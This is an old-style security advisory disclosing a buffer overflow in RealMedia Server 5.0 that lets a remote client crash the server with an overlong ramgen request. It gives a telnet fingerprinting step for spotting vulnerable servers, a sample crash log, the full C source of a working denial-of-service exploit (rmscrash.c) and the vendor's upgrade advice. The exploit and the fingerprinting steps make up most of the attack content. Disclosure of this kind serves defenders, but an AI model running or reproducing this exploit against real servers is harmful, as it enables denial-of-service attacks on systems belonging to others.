COMMAND
RealMedia Server
SYSTEMS AFFECTED
RealMedia Server 5.0
PROBLEM
'bow' posted following. RealMedia 5.0 servers, and probably 4.0,
can be crashed by overflowing the buffer which stores the ramgen
requests. The exploit is included below. It's been tested on
FreeBSD and RealMedia server 5.0-rvserver-build-290. When the
server crashes, it logs the IP of the person who crashed it in
the pnserver error log. It looks like this:
***22-Dec-99 10:57:16.112 pnserver(241): TRAPPED FAULT: Attempting Crash Avoidance...
***22-Dec-99 10:57:16.112 pnserver(241): Fault caused by type 0 client from 204.216.183.2
***22-Dec-99 10:57:16.112 pnserver(241): TRAPPED FAULT: Crash Avoidance Successful
***22-Dec-99 10:57:16.113 pnserver(241): FATAL ERROR: Couldn't Handle Fault: Terminating...
***22-Dec-99 10:57:16.113 pnserver(241): FATAL ERROR: Please File Bug Report
An easy way to tell if a server is running 5.0 is to telnet to
the realmedia port, usually 7070, and typing:
GET /SmpDsBhgRl <enter><enter>
RealMedia 5.0 servers always returns "Server: RealServer 1.0 Beta"
in the headers, and G2 (6.0, and 7.0?) servers return "Server:
RMServer 1.0".
/*
* rmscrash.c - bow@bow.net
*
* Crash a RealMedia 5.0 server by sending a very long ramgen request.
*
* Test on:
* $ pnserver -v
* Version: 5.0-rvserver-build-290
* Platform: FreeBSD-2.1.x
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define BUFLEN 4082
char buf[BUFLEN+14];
int sock;
struct sockaddr_in sa;
struct hostent *hp;
void main (int argc, char *argv[]) {
int i, port;
if (argc < 3) {
printf("Usage: %s realserver port\n",argv[0]);
exit(-1);
}
port = atoi(argv[2]);
memset(buf,0x41,BUFLEN);
memcpy(buf,"GET /ramgen/",12);
memcpy(buf+BUFLEN," HTTP/1.1\r\n\r\n", 13);
if ((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) {
perror("gethostbyname()");
exit(0);
}
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
perror("socket()");
exit(0);
}
sa.sin_family=AF_INET;
sa.sin_port=htons(port);
memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) {
perror("connect()");
exit(0);
}
printf("Connected to %s. Sending data\n",argv[1]);
write(sock,buf,strlen(buf));
printf("Done.\n");
close(sock);
exit(0);
}
SOLUTION
'bow' emailed RealNetworks about it. Their response was that
it's a known issue with 5.0 and the only way to fix it is to
upgrade to 6.0 or 7.0.
A hacked up fix for the problem that was used is to edit the
pnserver binary and change the ramgen string to something else.
This, however, will break the ramgen functionality. (Which you
may don't use). If you are going to rename the ramgen in the
binary to something else, make sure it matches the string length
of 6.